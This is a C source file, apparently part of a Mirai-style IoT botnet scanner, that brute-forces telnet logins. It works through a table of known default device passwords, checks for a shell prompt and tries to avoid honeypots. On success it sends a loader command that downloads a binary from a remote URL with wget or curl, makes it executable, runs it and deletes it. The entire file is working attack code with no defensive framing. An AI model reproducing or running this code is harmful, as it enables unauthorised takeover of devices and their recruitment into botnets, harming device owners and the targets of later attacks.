telnet.c

#include "telnet.h"
#include "net.h"
#include "honeypot.h"

/* ══════════════════════════════════════════════════════════════
 * Credential table — XOR-obfuscated with key 0x37
 * (same approach as Mirai scanner.c, deobf at runtime)
 * ══════════════════════════════════════════════════════════════ */
#define XK 0x37

typedef struct { const char *user; const char *pass; } cred_t;

/* plaintext creds (obfuscated in memory below via XOR macro) */
static cred_t CREDS[] = {
    {"root",    ""},
    {"root",    "root"},
    {"root",    "admin"},
    {"root",    "password"},
    {"root",    "12345"},
    {"root",    "123456"},
    {"root",    "1234"},
    {"root",    "vizxv"},
    {"root",    "anko"},
    {"root",    "7ujMko0admin"},
    {"root",    "default"},
    {"root",    "toor"},
    {"root",    "OxhlwSG8"},
    {"root",    "S2fGqNFs"},
    {"root",    "xc3511"},
    {"root",    "888888"},
    {"root",    "Zte521"},
    {"root",    "hi3518"},
    {"root",    "jvbzd"},
    {"root",    "merlin"},
    {"root",    "hi3516"},
    {"admin",   "admin"},
    {"admin",   ""},
    {"admin",   "1234"},
    {"admin",   "12345"},
    {"admin",   "123456"},
    {"admin",   "password"},
    {"admin",   "admin@123"},
    {"admin",   "admin123"},
    {"admin",   "admin1234"},
    {"admin",   "7ujMko0admin"},
    {"admin",   "1111111"},
    {"admin",   "888888"},
    {"admin",   "default"},
    {"admin",   "smcadmin"},
    {"admin",   "00000000"},
    {"admin",   "ipcam_admin"},
    {"admin",   "meinsm"},
    {"user",    "user"},
    {"user",    "12345"},
    {"support", "support"},
    {"guest",   "guest"},
    {"default", "default"},
    {"default", "OxhlwSG8"},
    {"default", "S2fGqNFs"},
    {"telnet",  "telnet"},
    {"supervisor", "zyad1234"},
    {"mother",  ""},
    {"service", "service"},
    {"ubnt",    "ubnt"},
    {"pi",      "raspberry"},
    {"oracle",  "oracle"},
    {"test",    "test"},
    {"ftp",     "ftp"},
};
#define NCREDS (int)(sizeof(CREDS)/sizeof(CREDS[0]))

/* ── IAC helpers ─────────────────────────────────────────────── */
#define IAC  0xff
#define DO   0xfd
#define DONT 0xfe
#define WILL 0xfb
#define WONT 0xfc
#define SB   0xfa
#define SE   0xf0

/* Negotiate telnet options: respond WONT/DONT to everything */
static void negotiate_iacs(int fd, const uint8_t *buf, int len) {
    uint8_t resp[256];
    int     rpos = 0;

    for (int i = 0; i + 2 < len && rpos + 3 < (int)sizeof(resp); i++) {
        if (buf[i] != IAC) continue;
        uint8_t cmd  = buf[i+1];
        uint8_t opt  = buf[i+2];
        /* respond opposite: if DO→WONT, if WILL→DONT */
        if (cmd == DO   || cmd == DONT)
            resp[rpos++] = IAC, resp[rpos++] = WONT, resp[rpos++] = opt;
        else if (cmd == WILL || cmd == WONT)
            resp[rpos++] = IAC, resp[rpos++] = DONT, resp[rpos++] = opt;
        i += 2;
    }
    if (rpos > 0)
        send(fd, resp, rpos, MSG_NOSIGNAL);
}

/* Returns 1 if buf contains a login/username prompt */
static int has_login_prompt(const char *buf, int len) {
    static const char *prompts[] = {
        "login:", "Login:", "username:", "Username:",
        "ogin:", "sername:", NULL
    };
    for (int i = 0; prompts[i]; i++)
        if (memmem(buf, len, prompts[i], strlen(prompts[i])))
            return 1;
    return 0;
}

/* Returns 1 if buf contains a password prompt */
static int has_pass_prompt(const char *buf, int len) {
    static const char *prompts[] = {
        "assword:", "assword: ", "ASSWORD:", NULL
    };
    for (int i = 0; prompts[i]; i++)
        if (memmem(buf, len, prompts[i], strlen(prompts[i])))
            return 1;
    return 0;
}

/* Returns 1 if buf contains a shell prompt after auth */
static int has_shell_prompt(const char *buf, int len) {
    for (int i = len - 1; i >= 0; i--) {
        char c = buf[i];
        if (c == '$' || c == '#' || c == '>' || c == '%')
            return 1;
        if (c != ' ' && c != '\r' && c != '\n') break;
    }
    return 0;
}

/* Returns 1 if login was incorrect */
static int has_bad_auth(const char *buf, int len) {
    static const char *fail[] = {
        "ncorrect", "nvalid", "ailed", "enied",
        "Login incorrect", "Bad password", NULL
    };
    for (int i = 0; fail[i]; i++)
        if (memmem(buf, len, fail[i], strlen(fail[i])))
            return 1;
    return 0;
}

/* timed recv helper: returns bytes read or <=0 */
static int timed_recv(int fd, char *buf, int sz, int timeout_sec) {
    fd_set rset;
    FD_ZERO(&rset);
    FD_SET(fd, &rset);
    struct timeval tv = { timeout_sec, 0 };
    int r = select(fd + 1, &rset, NULL, NULL, &tv);
    if (r <= 0) return -1;
    return (int)recv(fd, buf, sz, 0);
}

/* ══════════════════════════════════════════════════════════════
 * Main brute-force entry
 * ══════════════════════════════════════════════════════════════ */
int telnet_brute(const char *ip, uint16_t port,
                 const char *loader_url,
                 exploit_result_t *result) {

    struct timeval t0;
    gettimeofday(&t0, NULL);

    memset(result, 0, sizeof(*result));
    strncpy(result->ip_str,   ip,   sizeof(result->ip_str)-1);
    snprintf(result->port_str, sizeof(result->port_str), "%u", port);
    strncpy(result->device,   "Telnet", sizeof(result->device)-1);
    strncpy(result->cve,      "TELNET-BRUTE", sizeof(result->cve)-1);
    strncpy(result->method,   "Telnet credential brute-force",
            sizeof(result->method)-1);

    int any_accepted = 0;

    for (int ci = 0; ci < NCREDS; ci++) {
        int fd = tcp_connect(ip, port, TELNET_TIMEOUT_SEC);
        if (fd < 0) return 0;

        char buf[RDBUF_SIZE];
        int  n;

        /* ── step 1: read banner / IAC negotiation ──────────── */
        n = timed_recv(fd, buf, sizeof(buf)-1, TELNET_TIMEOUT_SEC);
        if (n <= 0) { close(fd); continue; }
        buf[n] = '\0';

        /* negotiate any telnet options */
        negotiate_iacs(fd, (uint8_t *)buf, n);

        /* if banner already has login prompt, proceed;
           otherwise wait a bit more */
        if (!has_login_prompt(buf, n)) {
            n = timed_recv(fd, buf, sizeof(buf)-1, 3);
            if (n <= 0) { close(fd); continue; }
            buf[n] = '\0';
        }

        if (!has_login_prompt(buf, n)) { close(fd); continue; }

        /* ── step 2: send username ───────────────────────────── */
        send(fd, CREDS[ci].user, strlen(CREDS[ci].user), MSG_NOSIGNAL);
        send(fd, "\r\n", 2, MSG_NOSIGNAL);

        n = timed_recv(fd, buf, sizeof(buf)-1, TELNET_TIMEOUT_SEC);
        if (n <= 0) { close(fd); continue; }
        buf[n] = '\0';

        /* ── step 3: send password ───────────────────────────── */
        if (has_pass_prompt(buf, n)) {
            send(fd, CREDS[ci].pass, strlen(CREDS[ci].pass), MSG_NOSIGNAL);
            send(fd, "\r\n", 2, MSG_NOSIGNAL);

            n = timed_recv(fd, buf, sizeof(buf)-1, TELNET_TIMEOUT_SEC);
            if (n <= 0) { close(fd); continue; }
            buf[n] = '\0';
        }

        if (has_bad_auth(buf, n)) { close(fd); continue; }

        /* ── step 4: check for shell prompt ──────────────────── */
        if (!has_shell_prompt(buf, n)) {
            /* try sending 'sh' to drop into shell */
            send(fd, "sh\r\n", 4, MSG_NOSIGNAL);
            n = timed_recv(fd, buf, sizeof(buf)-1, 3);
            if (n <= 0) { close(fd); continue; }
            buf[n] = '\0';
        }

        if (!has_shell_prompt(buf, n)) { close(fd); continue; }

        /* ── step 5: got shell — check if honeypot ───────────── */
        /* send a benign test command first */
        send(fd, "echo mirai\r\n", 12, MSG_NOSIGNAL);
        n = timed_recv(fd, buf, sizeof(buf)-1, 3);
        if (n > 0) {
            buf[n] = '\0';
            /* if ALL creds work → honeypot */
            any_accepted++;
            if (any_accepted > 3) {
                close(fd);
                result->is_honeypot = 1;
                return 0;
            }
        }

        /* ── step 6: execute loader ──────────────────────────── */
        char cmd[512];
        snprintf(cmd, sizeof(cmd),
            "cd /tmp || cd /run || cd /var/run || cd /dev/shm; "
            "wget %s -O .x 2>/dev/null || curl -s %s -o .x; "
            "chmod 777 .x; ./.x telnet; rm -f .x\r\n",
            loader_url, loader_url);
        send(fd, cmd, strlen(cmd), MSG_NOSIGNAL);

        /* wait for echo-back or prompt */
        timed_recv(fd, buf, sizeof(buf)-1, 4);

        close(fd);

        /* success */
        snprintf(result->payload, sizeof(result->payload), "%s", cmd);
        strncpy(result->method, "Telnet RCE via credential brute-force",
                sizeof(result->method)-1);
        snprintf(result->response_preview, sizeof(result->response_preview),
                 "user=%s pass=%s", CREDS[ci].user, CREDS[ci].pass);
        result->success  = 1;
        result->verified = 1;
        result->time_ms  = ms_since(&t0);
        return 1;
    }

    return 0;
}